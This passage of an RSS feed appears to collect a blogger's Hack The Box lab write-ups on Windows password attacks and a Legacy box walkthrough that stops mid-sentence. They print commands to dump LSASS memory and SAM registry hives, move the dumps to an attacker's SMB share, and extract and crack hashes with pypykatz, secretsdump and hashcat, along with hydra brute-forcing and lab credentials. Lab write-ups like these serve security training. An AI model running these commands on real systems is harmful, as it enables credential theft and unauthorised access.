/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WED1w976Qet8-tmAKJ25NQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*F7VPHJ907Y4mJdG25UBTcw.png" /></figure><p>There we have it!<br>Another HTB section completed!</p><p>[1: <a href="https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/">https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/</a>]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a5b2269657c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Attacking LSASS(Part 2)]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-attacking-lsass-part-2-3dcbc4fc8736?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dcbc4fc8736</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Tue, 03 Dec 2024 14:40:18 GMT</pubDate>
            <atom:updated>2024-12-05T07:55:50.185Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Attacking LSASS(Part 2)</h3><p>HTB Academy — Password Attacks — Attacking LSASS(Part 2)<br>Rundll32.exe &amp; Comsvcs.dll method</p><p>HTB Foreword: <br>Attacking LSASS<br>In addition to getting copies of the SAM database to dump and crack hashes, we will also benefit from targeting LSASS. As discussed in the Credential Storage section of this module, LSASS is a critical service that plays a central role in credential management and the authentication processes in all Windows operating systems.</p><p>This section provides us with two different methodologies for achieving the desired results on task 2.<br>Method 1 — GUI based method<br>This first method is the easiest but is dependent on having a GUI interface on the target system.<br>Method 2 — Rundll32.exe &amp; Comsvcs.dll method<br>Second method is more difficult but allows us to achieve the same results if we don’t have access to a GUI interface.</p><p>Tasks:<br>1: What is the name of the executable file associated with the Local Security Authority Process? <br>2: Apply the concepts taught in this section to obtain the password to the Vendor user account on the target. Submit the clear-text password as the answer. (Format: Case sensitive)</p><p>Task 1: <br>Nice and simple, check the .jpg image provided in the HTB “Attacking LSASS” section of the “Password Attacks” module. <br>The answer is “lxxxx.exe”</p><p>Task 2 Walkthrough:<br>Method 2 — Rundll32.exe &amp; Comsvcs.dll method<br>Getting File:<br>HTB on Rundll32.exe &amp; Comsvcs.dll method (method 2):<br>The Task Manager method is dependent on us having a GUI-based interactive session with a target. We can use an alternative method to dump LSASS process memory through a command-line utility called rundll32.exe. This way is faster than the Task Manager method and more flexible because we may gain a shell session on a Windows host with only access to the command line. It is important to note that modern anti-virus tools recognize this method as malicious activity.<br>Before issuing the command to create the dump file, we must determine what process ID (PID) is assigned to lsass.exe. This can be done from cmd or PowerShell.</p><p>To find the LSASS pid with CMD we use:</p><pre>tasklist /svc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*UVN4L0xdu97dUdcdJPuCYw.png" /></figure><p>As we can see the pid for the lsass.exe process is “664”.</p><p>We can also find the lsass.exe pid via PowerShwell with:</p><pre>Get-Process lsass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*sGbwnlQrkJgjysPyIjrcUg.png" /></figure><p>We again get a pid of “664”, confirming the previous results.</p><p>The next step is to create a dump file (lsass.dmp):</p><pre>C:\Windows\system32&gt; rundll32 C:\windows\system32\comsvcs.dll, MiniDump 644 C:\lsass.dmp full</pre><p>Taking careful note that we have the correct pid entered after “MiniDump”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*cgc55Ik-TqHN2hfY6hrScQ.png" /></figure><p>After entering the command and checking if it was successful, we can see that it’s worked. <br>Process successfully dumped!</p><p>Transferring File:<br>In regards to this HTB says: <br>“We can use the file transfer method discussed in the Attacking SAM section of this module to transfer the dump file to our attack host.”<br>So referring back to the “Attacking SAM” section it tells us:<br>“Create a Share with smbserver.py<br>All we must do to create the share is run smbserver.py -smb2support using python, give the share a name (CompData) and specify the directory on our attack host where the share will be storing the hive copies (/home/ltnbob/Documents). Know that the smb2support option will ensure that newer versions of SMB are supported. If we do not use this flag, there will be errors when connecting from the Windows target to the share hosted on our attack host. Newer versions of Windows do not support SMBv1 by default because of the numerous severe vulnerabilities and publicly available exploits.”<br>To do this we will use the command:</p><pre>sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/user/HTBacademy/passwordattacks/attackinglsass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*Bg5fNhlWCKCWKA7Do6mG-A.png" /></figure><p>Once this is done we can send the file we want from the target box to our attacking box with the command:</p><pre>C:\&gt; move C:\Users\HTB-ST~1\AppData\Local\Temp\lsass.DMP \\10.10.14.126\CompData</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*0PvxVJACL-QTIvwjfgSOLA.png" /></figure><pre>Note: To apply what we learned from part 1 simply change &quot;C:\Users\HTB-ST~1\AppData\Local\Temp\lsass.DMP&quot; to &quot;C:\lsass.dmp&quot;, as we moved the lsass.dmp file to a different place on the system with method 2.</pre><p>Checking the folder where we are hosting there share, we find the file successfully transferred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*F6L_tlVDAca2kuEF_XyFDQ.png" /></figure><p>Cracking File:<br>Now that we have infiltrated the network and extracted the desired file, it is time to use “Pypykatz” to dump the information from the extracated file. <br>HTB says “Once we have the dump file on our attack host, we can use a powerful tool called pypykatz to attempt to extract credentials from the .dmp file. Pypykatz is an implementation of Mimikatz written entirely in Python. The fact that it is written in Python allows us to run it on Linux-based attack hosts. At the time of this writing, Mimikatz only runs on Windows systems, so to use it, we would either need to use a Windows attack host or we would need to run Mimikatz directly on the target, which is not an ideal scenario. This makes Pypykatz an appealing alternative because all we need is a copy of the dump file, and we can run it offline from our Linux-based attack host.”<br>If you do not already have pypykatz installed you can do so with:</p><pre>pip3 install pypykatz</pre><p>Once we have that set up and ready to go we can initiate it with the following:</p><pre>pypykatz lsa minidump /home/user/HTBacademy/passwordattacks/attackinglsass/lsass.DMP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*e6k4kNdddfE47LzsKT7BBQ.png" /></figure><p>After scrolling through the information we find the return we are looking for, the user “vendor”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*pexhdqvhQsCWUn5BbzF6_A.png" /></figure><p>However as we can see the password field provides no clear-text password for us to enter into the answer box. <br>We do have an NT hash though.<br>So to get the clear-text password it seems that we are going to have to crack the hash.<br>Add the hash to a text document, this .txt file will be used in combination with the “hashcat” program and the “rockyou.txt” list. <br>We can use the “hashcat” program with the command:</p><pre>sudo hashcat -m 1000 lsasshash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*bjgqSubPzg_PWCP_xL2ObA.png" /></figure><p>Giving us the result we need and solving the challenge via method 2!</p><p>Part 2, using the Rundll32.exe &amp; Comsvcs.dll method is complete!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dcbc4fc8736" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Attacking LSASS(Part 1)]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-attacking-lsass-part-1-1f4d4631409f?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f4d4631409f</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Tue, 03 Dec 2024 12:26:50 GMT</pubDate>
            <atom:updated>2024-12-03T12:26:50.952Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Attacking LSASS(Part 1)</h3><p>HTB Academy — Password Attacks — Attacking LSASS</p><p>HTB Foreword: <br>Attacking LSASS<br>In addition to getting copies of the SAM database to dump and crack hashes, we will also benefit from targeting LSASS. As discussed in the Credential Storage section of this module, LSASS is a critical service that plays a central role in credential management and the authentication processes in all Windows operating systems.</p><p>This section provides us with two different methodologies for achieving the desired results on task 2.<br>Method 1 — GUI based method<br>This first method is the easiest but is dependent on having a GUI interface on the target system.<br>Method 2 — Rundll32.exe &amp; Comsvcs.dll method<br>Second method is more difficult but allows us to achieve the same results if we don’t have access to a GUI interface.</p><p>Tasks:<br>1: What is the name of the executable file associated with the Local Security Authority Process? <br>2: Apply the concepts taught in this section to obtain the password to the Vendor user account on the target. Submit the clear-text password as the answer. (Format: Case sensitive)</p><p>Task 1: <br>Nice and simple, check the .jpg image provided in the HTB “Attacking LSASS” section of the “Password Attacks” module. <br>The answer is “lxxxx.exe”</p><p>Task 2 Walkthrough:<br>Method 1 — GUI based method<br>Getting File:<br>The first step in using the GUI method is to start an RDP session connecting to the target machine.<br>We can do this with the command:</p><pre>xfreerdp /u:htb-student /p:HTB_@cademy_stdnt! /v:10.129.202.149</pre><p>Once we are in to the target system we navigate to the security system processes through the task manager application. <br>Once we have found said processes we then dump the files by “right-clicking the security process and selecting ‘create dump file’”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*uj_710-7ePmh0rbixZOX7w.png" /></figure><p>It tells us that the file we need to transfer back to our attacking machine is located at:</p><pre>C:\Users\HTB-ST~1\AppData\Local\Temp\lsass.DMP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iFzgSiJ9dKPBLsXsKTXJyg.png" /></figure><p>Now we have the file that we want, we need a method to get it back to our attacking box.</p><p>Transferring File:<br>In regards to this HTB says: <br>“We can use the file transfer method discussed in the Attacking SAM section of this module to transfer the dump file to our attack host.”<br>So referring back to the “Attacking SAM” section it tells us:<br>“Create a Share with smbserver.py<br>All we must do to create the share is run smbserver.py -smb2support using python, give the share a name (CompData) and specify the directory on our attack host where the share will be storing the hive copies (/home/ltnbob/Documents). Know that the smb2support option will ensure that newer versions of SMB are supported. If we do not use this flag, there will be errors when connecting from the Windows target to the share hosted on our attack host. Newer versions of Windows do not support SMBv1 by default because of the numerous severe vulnerabilities and publicly available exploits.”<br>To do this we will use the command:</p><pre>sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/user/HTBacademy/passwordattacks/attackinglsass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*Bg5fNhlWCKCWKA7Do6mG-A.png" /></figure><p>Once this is done we can send the file we want from the target box to our attacking box with the command:</p><pre>C:\&gt; move C:\Users\HTB-ST~1\AppData\Local\Temp\lsass.DMP \\10.10.14.126\CompData</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*0PvxVJACL-QTIvwjfgSOLA.png" /></figure><p>Checking the folder where we are hosting there share, we find the file successfully transferred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*F6L_tlVDAca2kuEF_XyFDQ.png" /></figure><p>Cracking File:<br>Now that we have infiltrated the network and extracted the desired file, it is time to use “Pypykatz” to dump the information from the extracated file. <br>HTB says “Once we have the dump file on our attack host, we can use a powerful tool called pypykatz to attempt to extract credentials from the .dmp file. Pypykatz is an implementation of Mimikatz written entirely in Python. The fact that it is written in Python allows us to run it on Linux-based attack hosts. At the time of this writing, Mimikatz only runs on Windows systems, so to use it, we would either need to use a Windows attack host or we would need to run Mimikatz directly on the target, which is not an ideal scenario. This makes Pypykatz an appealing alternative because all we need is a copy of the dump file, and we can run it offline from our Linux-based attack host.”<br>If you do not already have pypykatz installed you can do so with:</p><pre>pip3 install pypykatz</pre><p>Once we have that set up and ready to go we can initiate it with the following:</p><pre>pypykatz lsa minidump /home/user/HTBacademy/passwordattacks/attackinglsass/lsass.DMP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*e6k4kNdddfE47LzsKT7BBQ.png" /></figure><p>After scrolling through the information we find the return we are looking for, the user “vendor”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*pexhdqvhQsCWUn5BbzF6_A.png" /></figure><p>However as we can see the password field provides no clear-text password for us to enter into the answer box. <br>We do have an NT hash though.<br>So to get the clear-text password it seems that we are going to have to crack the hash.<br>Add the hash to a text document, this .txt file will be used in combination with the “hashcat” program and the “rockyou.txt” list. <br>We can use the “hashcat” program with the command:</p><pre>sudo hashcat -m 1000 lsasshash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*bjgqSubPzg_PWCP_xL2ObA.png" /></figure><p>Giving us the result we need and solving the challenge via method 1!</p><p>Follow my Medium account for part 2 where I’ll use the Rundll32.exe &amp; Comsvcs.dll method!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f4d4631409f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Attacking SAM]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-attacking-sam-54ad83ae13ab?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/54ad83ae13ab</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Sun, 01 Dec 2024 11:08:11 GMT</pubDate>
            <atom:updated>2024-12-01T11:08:11.001Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*dZRlEoTkK9hqUEcFZ9vkig.jpeg" /></figure><h3>HTB Academy — Password Attacks — Attacking SAM</h3><p>HTB Academy — Password Attacks — Attacking SAM</p><p>HTB Foreword:</p><p>Attacking SAM</p><p>With access to a non-domain joined Windows system, we may benefit from attempting to quickly dump the files associated with the SAM database to transfer them to our attack host and start cracking hashes offline. Doing this offline will ensure we can continue to attempt our attacks without maintaining an active session with a target. Let’s walk through this process together using a target host. Feel free to follow along by spawning the target box in this section.<br>Copying SAM Registry Hives</p><p>There are three registry hives that we can copy if we have local admin access on the target; each will have a specific purpose when we get to dumping and cracking the hashes. Here is a brief description of each in the table below:<br>Registry Hive Description<br>hklm\sam Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.<br>hklm\system Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.<br>hklm\security Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.</p><p>We can create backups of these hives using the reg.exe utility.</p><p>Tasks:<br>1: Where is the SAM database located in the Windows registry? (Format: ****\***)</p><p>2: Apply the concepts taught in this section to obtain the password to the ITbackdoor user account on the target. Submit the clear-text password as the answer.</p><p>3: Dump the LSA secrets on the target and discover the credentials stored. Submit the username and password as the answer. (Format: username:password, Case-Sensitive)</p><p>Task 1:<br>This is a super simple one, just check the HTB foreword for the answer:<br>****\***</p><p>Task 2:<br>Firstly we need to RDP into the target machine using the command:<br>xfreerdp /u:bob /p:HTB_@cademy_stdnt! /v:10.129.169.66</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*HvbVGZAZF-uojxmIQ026Xw.png" /></figure><p>We’re into the target machine.</p><p>Now we need to follow the process for copying the target files (given by the HTB section).<br>{C:\WINDOWS\system32&gt; reg.exe save hklm\sam C:\sam.save</p><p>The operation completed successfully.</p><p>C:\WINDOWS\system32&gt; reg.exe save hklm\system C:\system.save</p><p>The operation completed successfully.</p><p>C:\WINDOWS\system32&gt; reg.exe save hklm\security C:\security.save</p><p>The operation completed successfully.<br>}</p><p>To enter these commands, open the “cmd” console on the target machine as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*Zzzopud1MOFJ2Bkpmuq4CA.png" /></figure><p>After navigating back to C:\, we can also see that the files have been successfully copied.</p><p>The next step is to get these files back to our attacking machine in order to crack the hashes offline. <br>To do so I will create a share on my attacking machine and then send the file from the target machine to the share that I host in order to access the target information:<br>sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/user/HTBacademy/notes/passwordattacks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IxDOUSlN9ItQZuzrJJOFZw.png" /></figure><p>Once the SMB share is set up we can send the files over like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*IgERDyPWWQN8Kdwpkh_FRg.png" /></figure><p>To check we have the necessary files simply navigate to the folder where the share was hosted and check if files are there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*E7O4-xYKyn4UsmR640Nyrg.png" /></figure><p>Now that we have the required files, it’s time to extract the hashes and crack them.<br>The first step in this process is extracting or “dumping” the hashes. To do this I will be using Impacket’s “secretsdump” module:<br>python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzzQlK6kfT2IXrBCPICP2Q.png" /></figure><p>Next we need to add the collected hashes to a file, in list order, to be used as a text file to crack. <br>Once we have our file of hashes ready to go, we can call Hascat to crack them for us:<br>sudo hashcat -m 1000 hash2crack1.txt /usr/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2NtsdgxcRI6rg7PnyfjDA.png" /></figure><p>After a little bit of time we get the desired results!:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*hU15T_eS2vkBAt9BDmErLg.png" /></figure><p>Now that we have this information we can complete task 2.<br>The answer is m*****</p><p>Task 3:<br>This task require us to “ Dump the LSA secrets on the target and discover the credentials stored. Submit the username and password as the answer.”.<br>HTB notes:<br>Remote Dumping &amp; LSA Secrets Considerations</p><p>With access to credentials with local admin privileges, it is also possible for us to target LSA Secrets over the network. This could allow us to extract credentials from a running service, scheduled task, or application that uses LSA secrets to store passwords.</p><p>To do this we will be using “netexec” rather than the suggested “crackmapexec”.<br>However upon trying the netexec method I couldn’t get it to work. <br>I racked my brain and couldn’t find a way to get this section to work as intended, so I checked the hints.<br>It tells us that we have two ways of gaining the credentials we are after.<br>*Remote dumping LSA<br>*Remote dumping SAM</p><p>Since we have already cracked the passwords of the returns from the SAM dump, I wondered if it was worth checking to see if the creds we were after were in the return we already possess. <br>I noticed there was a user we haven’t used with a corresponding cracked password.<br>Upon entering those details I get success!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54ad83ae13ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Network Services]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-network-services-72736afcb6ba?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/72736afcb6ba</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Thu, 28 Nov 2024 12:56:39 GMT</pubDate>
            <atom:updated>2024-11-28T12:56:39.235Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Network Services</h3><p>HTB Academy — Password Attacks — Network Services</p><p>HTB Foreword:<br>Network Services</p><p>During our penetration tests, every computer network we encounter will have services installed to manage, edit, or create content. All these services are hosted using specific permissions and are assigned to specific users. Apart from web applications, these services include (but are not limited to):<br> <br>FTP SMB NFS<br>IMAP/POP3 SSH MySQL/MSSQL<br>RDP WinRM VNC<br>Telnet SMTP LDAP</p><p>For further reading on many of these services, check out the Footprinting module on HTB Academy.</p><p>Let us imagine that we want to manage a Windows server over the network. Accordingly, we need a service that allows us to access the system, execute commands on it, or access its contents via a GUI or the terminal. In this case, the most common services suitable for this are RDP, WinRM, and SSH. SSH is now much less common on Windows, but it is the leading service for Linux-based systems.</p><p>All these services have an authentication mechanism using a username and password. Of course, these services can be modified and configured so that only predefined keys can be used for logging in, but they are configured with default settings in many cases.</p><p>Tasks:<br>1: Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer. <br>2: Find the user for the SSH service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer. <br>3: Find the user for the RDP service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer. <br>4: Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.</p><p>Methodology:<br>Following on from the other HTB training modules, I will be going through each command provided for the section in turn, analysing the returns and making adjustments and edits where needed.</p><p>Task 1 — Cracking WinRM:<br>Starting this section of the the Password Attack module we immediately encounter our first problem. The main tool that is used for this section “crackmapexec” is no longer maintained and it is difficult to download. Therefore the work around offered is to download “Netexec” instead with the command:<br>{sudo apt-get -y install netexec}</p><p>This allows us to keep the rest of the command strucure from crackmapexec, simply changing “crackmapexec” to “netexec” at the start of the command.</p><p>However after trying this method I could not get it to work properly.<br>So I turned to Metasploit and used the following commands to crack the credentials instead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWj7XoUcwDXZkMquhl7hFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcHImaHyKeskStAlaJdEsw.png" /></figure><p>Giving us the creds we need to complete the next step, which is using the cracked credentials to gain access to the network via EvilWinRM.<br>To do this I used the following command:<br>evil-winrm -i 10.129.54.36 -u jxxx -p xxxxxxxx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Ffa6GGEpgCd5DolZJ2dsgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*hxjddE_l5KnyP9_TKxs7yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*J5VMFSq5eUtPsxVmO_noXA.png" /></figure><p>Task 1 completed!</p><p>Task 2 — Cracking SSH<br>To complete this task we will be using the Hydra program to crack the passwords with the following command:<br>hydra -L user.list -P password.list ssh://10.129.54.36</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAWsRryDXNBWf2QTF-t9sg.png" /></figure><p>Easy as that we have the credentials we were looking for!</p><p>Now to simply use the creds to login with:<br>ssh dxxxxx@10.129.54.36</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*5FmKqzNwSDuDfvxtGzm0dA.png" /></figure><p>Success!!</p><p>Now we just navigate to the Desktop on dxxxxxx’ account and find the flag that we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*2WyuOU1Xv-pQf9xSup38lw.png" /></figure><p>Task 3 — Cracking RDP<br>To complete this task we are going to repeat the same process as we followed for Task 2.<br>Using the command:<br>hydra -L username.list -P password.list rdp://10.129.54.36</p><p>We get the return we wanted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TXPcDpPFtlyrjIR-Kprrw.png" /></figure><p>I then used:<br>xfreerdp /v:10.129.54.36 /u:cxxxx /p:xxxxxxxxx</p><p>Which allowed me to connect to the computer and find the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJifLsHBpjqhl1wmXf7NTA.png" /></figure><p>Task 4 — Cracking SMB<br>This time we are going to use the Metasploit method again. This is because of an outdated version of Hydra that can’t handle SMBv.3 replies.<br>To do this select the exploit that I want to use, then set the options parameters and then run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*DIWeLJng69DkPsneY9NaYg.png" /></figure><p>We have the creds!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*VkFUnxPw9DOgpn-IUFWhcg.png" /></figure><p>Now to utilise them.</p><p>I’ll start by running netexec again, but this time with the creds and enumerating the SMB shares for the final step of connecting to a share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bi8mWt9d_H1rRD8lRooo9w.png" /></figure><p>This gave us the info that we needed in regards to what share we need to connect to.<br>For the final step we will use “smbclient” to connect to the share:<br>smbclient -U cxxxxxx \\\\10.129.54.36\\Cxxxxx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*On93mfAFdMS8UvndJV92KQ.png" /></figure><p>We’re in!</p><p>Now just to find the flag and complete the tasks for this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*EDrHAuhSlAl5ZDvp9Xhmlg.png" /></figure><p>Success!<br>We’ve now downloaded the flag on to our machine, simply open the file and copy its content into the HTB answer box.</p><p>Tasks completed!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72736afcb6ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox— Legacy]]></title>
            <link>https://medium.com/@c0c0c0_hax/hackthebox-legacy-cb60b6389ca4?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb60b6389ca4</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 10:46:39 GMT</pubDate>
            <atom:updated>2024-11-27T10:46:39.540Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><p>HTB Legacy</p><p>In this walkthrough I shall be hacking the Legacy box from HTB labs. <br>I’m hacking this box in order to bolster my Metasploit skills after completing the “Using the Metasploit framework” from Hack The Box Academy. <br>I’ll be attempting to complete this box on Adventure mode with no hints or outside help.</p><p>To start I will scan the server with NMAP:<br>nmap 10.10.10.4 -Pn -sCV -A -T4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*SxnmnBZzCxMF7QkYO7bcVw.png" /></figure><p>This return tells us that we have three ports open on the server(of top thousand ports scanned):<br>*135/tcp open msrpc Microsoft Windows RPC<br>*139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>*445/tcp open microsoft-ds Windows XP microsoft-ds</p><p>*TCP port 135 is the Remote Procedure Call (RPC) Endpoint Mapper service. It enables other systems to identify what services are available on a machine and on which port they can be found. Essentially it allows a system unfettered access to a target system.</p><p>*Originally, SMB ran on port 139 as an application layer protocol for Windows computers to communicate with each other on the same network. It was run on NetBIOS over TCP/IP and is being passed over by port 445 in modern environments.</p><p>*Port 445 port is used by newer versions of SMB as Windows 2000 adopted it for use for direct TCP/IP communication. Generally favored over port 139, it also allows for communication across different networks for things like internet-based file sharing.</p><p>So we have RPC service and two ports for the SMB service. <br>Now to enumerate these ports further.</p><p>I’ll start by using smbclient to see if I can connect to the SMB shares and get more information:<br>smbclient -N -L //10.10.10.4</p><p>However no return on this due to invalid parameter with NT_STATUS</p><p>After going through most of the commands given on the HTB Academy “Footprinting” section for enumerating SMB shares, I finally got a return that allowed me to progress:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4FRylLc8gtgvJAtIjGuq-w.png" /></figure><p>This return gave me two very important bits of information regarding how to proceed:<br>* Windows 5.1 x32 (The operating system)<br>* SMBv1:True (The version of SMB being used)</p><p>These two pieces of information, in combination with the actual name of the box “Legacy”, made me realise that the method of entry to this system would be a Metasploit exploit that targets old version of SMB or Windows.</p><p>With this in mind, my next task was to search the Metasploit exploit database for an exploit that applied to the system specifics. <br>I started Metasploit with:<br>{msfconsole}</p><p>Then searched for “smb”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kPA67SuGo3gW-QXMV77eyA.png" /></figure><p>This returned 145 different exploits to choose from. Best practice at this point would be to cut down the amount of results by making the exploit search more specific (by entering SMB version and windows system version as variables).<br>However after a quick perusal of the results, one in particular stood out to me instinctively:<br>“48 auxiliary/scanner/smb/smb_ms17_010”</p><p>This auxiliary module allows us to scan the target system for potential vulnerability to the eternal blue exploit family. <br>After listing the options and correctly entering the required information for said options, I ran the exploit and got the following return:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*BL5yFr6fe53tWVBeOCRDhg.png" /></figure><p>Interesting! It appears from this initial scan that my hunch was right and the system is potentially vulnerable to the EternalBlue exploit.</p><p>Next step is to select an EternalBlue exploit to gain a reverse shell on the target system.</p><p>To do this I used the following command in Metasploit:</p><pre>search ms17_010</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ffUkn2tUWO2z5cT1oK_v8Q.png" /></figure><p>Out of the options returned is decided to use “option 1” as I had 